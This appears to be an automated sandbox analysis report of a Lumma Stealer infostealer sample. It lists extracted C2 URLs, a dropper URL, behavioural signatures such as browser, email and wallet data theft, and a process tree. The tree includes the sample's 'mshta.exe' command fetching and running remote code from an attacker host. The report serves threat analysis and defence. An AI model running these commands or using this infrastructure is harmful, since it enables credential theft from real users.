Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/05/2026, 17:15

General

  • Target
    tmpcm0_1iwk.exe
  • Size 31.2MB
  • Sample260524-vszccafv2s
  • SHA256 8b097a3037a707471a7abc9a304715f7731f4669b2bf5c823432e37c3d624a06
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://snconor.vg

Extracted

Family
  • lumma

C2
  • https://springvc.cyou

  • https://decrnoj.club/xxx

  • https://pomflgf.vu/help

  • https://carytui.vu/caccc

  • https://mushxhb.best/info

  • https://genugsq.best/main

  • https://ulmudhw.shop/create

  • https://strikql.shop/owner

  • https://longmbx.click/manifest

Attributes
  • build_id

    83af73e8484fc9f764374a223760d87d773a2c346e

Signatures

  • Family: Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmpcm0_1iwk.exe
    "C:\Users\Admin\AppData\Local\Temp\tmpcm0_1iwk.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3788
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" springvc.cyou/api/set_agent?id=50CBED55BD24956701AEC7B30ADF174C&token=83af73e8484fc9f764374a223760d87d773a2c346e&description=&agent=Chrome
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4400
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fffcf64c728,0x7fffcf64c734,0x7fffcf64c740
        3⤵
          PID:3744
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1576,i,5607333876754967422,4079785551489146606,524288 --field-trial-handle=2116,i,13754123542718271807,9670326192033375746,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2168 /prefetch:3
          3⤵
          • System Time Discovery
          PID:3700
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1720,i,1044360978410314484,16565340804591297789,262144 --field-trial-handle=2116,i,13754123542718271807,9670326192033375746,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2120 /prefetch:2
          3⤵
            PID:2708
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2400,i,11096463988693844705,13404362089489484708,524288 --field-trial-handle=2116,i,13754123542718271807,9670326192033375746,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2568 /prefetch:8
            3⤵
              PID:220
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3216,i,1543355652378016595,13589186834552072433,2097152 --field-trial-handle=2116,i,13754123542718271807,9670326192033375746,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2884 /prefetch:1
              3⤵
                PID:1964
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3232,i,10433269016673954531,16472630025870264974,2097152 --field-trial-handle=2116,i,13754123542718271807,9670326192033375746,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3244 /prefetch:1
                3⤵
                  PID:2296
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4236,i,14263916968834837664,15708356893493347567,2097152 --field-trial-handle=2116,i,13754123542718271807,9670326192033375746,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4200 /prefetch:2
                  3⤵
                    PID:3988
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5256,i,12054553624816706268,2921470300726296131,524288 --field-trial-handle=2116,i,13754123542718271807,9670326192033375746,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5260 /prefetch:8
                    3⤵
                      PID:4632
                  • C:\Windows\SYSTEM32\mshta.exe
                    mshta.exe https://snconor.vg
                    2⤵
                    • Badlisted process makes network request
                    • Modifies Internet Explorer settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4684
                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                  1⤵
                    PID:4572
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                    1⤵
                      PID:4256

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          BookmarkMergedSurfaceOrdering

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                          • Size 6B
                          • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                          • MD5 SHA1 SHA512

                          BrowsingTopicsState

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                          • Size 649B
                          • SHA256 fdd3aa9d798952556d443926fa8c69641518d7a52bd66a683f2b571e79b5a146
                          • MD5 SHA1 SHA512 TLSH

                          SCT Auditing Pending Reports

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                          • Size 2B
                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                          • MD5 SHA1 SHA512

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                          • Size 138KB
                          • SHA256 91f6360b876fd420a901e765007148d99e247d64ae1b529158109b020da46598
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Last Version

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                          • Size 13B
                          • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                          • MD5 SHA1 SHA512

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                          • Size 115KB
                          • SHA256 8e848210fbdd9e2394c6f18d0dd35d7fcb78450a1af15631e1de8a1684e2aa11
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/3788-68-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-51-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-72-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-71-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-70-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-69-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-0-0x0000000000400000-0x000000000045F000-memory.dmp

                          memory/3788-67-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-66-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-65-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-64-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-63-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-62-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-61-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-60-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-59-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-58-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-57-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-56-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-55-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-54-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-53-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-52-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-73-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-50-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-49-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-48-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-47-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-46-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-45-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-44-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-43-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-74-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-1-0x0000000000400000-0x000000000045F000-memory.dmp

                          memory/3788-85-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-103-0x0000000000400000-0x000000000045F000-memory.dmp

                          memory/3788-88-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-89-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-87-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-91-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-90-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-93-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-92-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-95-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/3788-94-0x0000000023A80000-0x0000000023A81000-memory.dmp

                          memory/4256-86-0x0000026914860000-0x0000026914949000-memory.dmp